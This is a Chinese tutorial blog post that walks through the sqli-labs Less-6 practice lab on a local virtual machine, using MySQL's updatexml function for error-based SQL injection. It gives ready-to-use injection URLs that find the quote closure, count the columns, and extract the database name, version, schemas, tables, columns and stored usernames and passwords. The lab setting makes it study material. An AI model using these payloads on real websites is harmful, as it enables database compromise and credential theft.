sqli-labs靶场less-6使用updatexml函数报错注入

sqli-labs靶场less-6使用updatexml函数报错注入

本次测试在虚拟机搭建sqli-labs靶场,在主机端浏览器进行访问测试

1、updatexml函数

1.1 语法:

UPDATEXML(XML_document, XPath_string,new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称
  • 第二个参数:XPath_string (Xpath格式的字符串),Xpath语法
  • 第三个参数:new_value,string格式,替换查找到的符合条件的数据

1.2 用法:

sql 复制代码
SELECT updatexml(doc,'/book/title','1') FROM xml;

将XPath_string替换成一个用~开头的字符串使得函数报错,第一个参数

2、确定靶场注入类型,闭合方式

http://192.168.128.3/sq/Less-6/?id=1

http://192.168.128.3/sq/Less-6/?id=2

http://192.168.128.3/sq/Less-6/?id=1'

http://192.168.128.3/sq/Less-6/?id=1 and 1=1

http://192.168.128.3/sq/Less-6/?id=1 and 1=2

以上语句均没有回显,判断为字符型注入,输入

http://192.168.128.3/sq/Less-6/?id=1"

页面回显报错

从页面报错可以确定闭合方式为双引号

3、列数确定

http://192.168.128.3/sq/Less-6/?id=1" order by 5 --+

http://192.168.128.3/sq/Less-6/?id=1" order by 4 --+

http://192.168.128.3/sq/Less-6/?id=1" order by 3 --+

order by 3 的时候回显与之前一致,确定三列

4、判断数据库及版本

从之前回显判断页面正常情况无回显,也可以使用union select 1,2,3验证,故此处使用报错注入,此次我使用uodatexml函数报错注入

4.1 获取数据库名和版本号

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat('~',(select database())),3),3 --+

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat('~',(select version())),3),3 --+

5、进行数据库爆破

5.1 所有数据库

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat('~',(select group_concat(schema_name) from information_schema.schemata)),3),3 --+

因为updatexml报错注入返回长度只有32,用substring函数多次返回

substring`函数

例如:select substring(123456,1,3);

输出 123,输出第一个位置字符从第一个位置开始数三个,分批次输出我们想要的结果

至此得到所有所有数据库名

5.2 表名

  • http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1,30),3),3 --+

5.3 列名

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),1,30),3),3 --+

5.4 数据

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat('~',(select group_concat(username,',',password) from security.users))),1,30),3),3 --+

修改 security.users))),1,30),3),3 --+ 中的1,便可得到所有数据
至此,大功告成

相关推荐
拖孩1 分钟前
微信群太多,管理麻烦?那试试接入AI助手吧~
前端·后端·微信
乌兰麦朵18 分钟前
Vue吹的颅内高潮,全靠选择性失明和 .value 的PUA!
前端·vue.js
Code季风18 分钟前
Gin Web 层集成 Viper 配置文件和 Zap 日志文件指南(下)
前端·微服务·架构·go·gin
蓝倾18 分钟前
如何使用API接口实现淘宝商品上下架监控?
前端·后端·api
舂春儿20 分钟前
如何快速统计项目代码行数
前端·后端
毛茸茸20 分钟前
⚡ 从浏览器到编辑器只需1秒,这个React定位工具改变了我的开发方式
前端
Pedantic21 分钟前
我们什么时候应该使用协议继承?——Swift 协议继承的应用与思
前端·后端
Software攻城狮22 分钟前
vite打包的简单配置
前端
Codebee22 分钟前
如何利用OneCode注解驱动,快速训练一个私有的AI代码助手
前端·后端·面试
流星稍逝22 分钟前
用vue3的写法结合uniapp在微信小程序中实现图片压缩、调整分辨率、做缩略图功能
前端·vue.js